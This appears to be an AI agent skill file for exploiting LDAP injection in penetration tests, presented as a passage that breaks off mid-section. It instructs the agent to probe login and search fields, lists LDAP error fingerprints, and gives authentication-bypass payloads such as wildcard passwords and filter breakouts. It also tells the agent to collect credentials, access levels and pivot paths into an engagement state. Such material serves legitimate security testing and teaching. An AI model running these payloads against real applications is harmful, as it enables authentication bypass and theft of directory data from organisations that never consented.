/ldap-injection

name: ldap-injection
description: >
  Exploit LDAP injection vulnerabilities during authorized penetration
  testing.
keywords:
  - ldap injection
  - ldap filter injection
  - ldap auth bypass
  - ldap wildcard
  - ldap blind extraction
  - ldap search injection
  - active directory login bypass
  - ldap enumeration via injection
  - ldap attribute extraction
tools:
  - ldapsearch
  - burpsuite
  - curl
opsec: medium

LDAP Injection

You are helping a penetration tester exploit LDAP injection vulnerabilities. The target application passes user-controlled input into LDAP search filters (RFC 4515) without proper sanitization. The goal is to bypass authentication, extract directory data, or enumerate users and attributes. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[ldap-injection] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• An input field processed by an LDAP directory (login form, search field, user

lookup, group membership check, address book)

• Common indicators: Active Directory or OpenLDAP backend, error messages

mentioning `ldap_search`, `InvalidFilterException`, `Bad search filter`, `javax.naming.directory`, corporate intranet with directory-backed auth

• Proxy (Burp Suite) for intercepting and modifying requests

Background: LDAP Filter Syntax

Understanding filter structure is critical for crafting injection payloads.

**RFC 4515 filter format:**

(attribute=value)              Simple match
(&(filter1)(filter2))          AND — both must match
(|(filter1)(filter2))          OR — either matches
(!(filter))                    NOT — negation
(attribute=val*)               Substring/wildcard match
(attribute>=value)             Greater-or-equal
(attribute<=value)             Less-or-equal
(attribute=*)                  Presence — attribute exists (any value)

**Special characters (must be escaped in safe input):**

*   → \2a   (wildcard)
(   → \28   (open paren)
)   → \29   (close paren)
\   → \5c   (backslash)
NUL → \00   (null byte)

**Common server-side filter templates (where injection occurs):**

# Login — AND filter with uid + password
(&(uid=USER_INPUT)(userPassword=PASS_INPUT))

# Login — AD-style with sAMAccountName
(&(sAMAccountName=USER_INPUT)(userPassword=PASS_INPUT))

# Search — simple filter
(cn=SEARCH_INPUT)

# Search — OR filter
(|(cn=SEARCH_INPUT)(sn=SEARCH_INPUT))

# Group check
(&(objectClass=group)(cn=GROUP_INPUT))

# Address book lookup
(&(objectClass=person)(|(cn=INPUT)(mail=INPUT)))

Injection works by closing the current filter element and adding new conditions that change the query logic.

Step 1: Assess

If not already provided, determine: 1. **Injection context** — login form, search, lookup, or group check? 2. **Filter type** — AND `(&...)`, OR `(|...)`, or simple `(attr=...)`? 3. **Backend** — Active Directory, OpenLDAP, Oracle Internet Directory?

• AD: look for domain\user format, sAMAccountName, NTLM references
• OpenLDAP: look for uid, cn, POSIX attributes in errors
• Oracle: look for orclGUID, OracleContext

4. **Error behavior** — does the app return LDAP errors or fail silently?

Detection Probes

Inject into each input field and observe response changes:

*                    # Wildcard — if response changes, LDAP may be in play
)(cn=*))(|(cn=*      # Filter breakout — triggers error if filter is parsed
\                    # Backslash — may cause LDAP escape handling errors

**Error fingerprints that confirm LDAP backend:**

Bad search filter
Invalid filter
ldap_search
javax.naming.directory.InvalidSearchFilterException
LDAP error code 12
Inappropriate matching
NamingException
LdapErr: DSID-

If injecting `*` into a username field returns a valid login or different user, LDAP injection is confirmed.

Step 2: Authentication Bypass

The most common LDAP injection target. The server constructs an AND filter like `(&(uid=INPUT)(userPassword=INPUT))` and checks if it returns a result.

Wildcard Password Bypass

If the password field is interpolated directly:

# Server filter: (&(uid=INPUT)(userPassword=INPUT))
# Inject * as password — matches any password value
Username: admin
Password: *
# Resulting filter: (&(uid=admin)(userPassword=*))
# Matches admin with ANY password

This is the simplest test — try it first.

Filter Breakout — AND Context

Close the current attribute, inject a true condition, comment out the rest:

# Server filter: (&(uid=INPUT)(userPassword=INPUT))

# Inject into username — close uid, add always-true, null-byte to truncate
Username: admin)(&)
Password: anything
# Resulting filter: (&(uid=admin)(&))(userPassword=anything))
# (&) is always true in some implementations

# Inject into username — close uid, inject wildcard objectClass
Username: admin)(objectClass=*
Password: anything
# Resulting filter: (&(uid=admin)(objectClass=*)(userPassword=anything))
# objectClass=* is always true — but password still checked

# Best: close the entire AND, start a new always-true filter
Us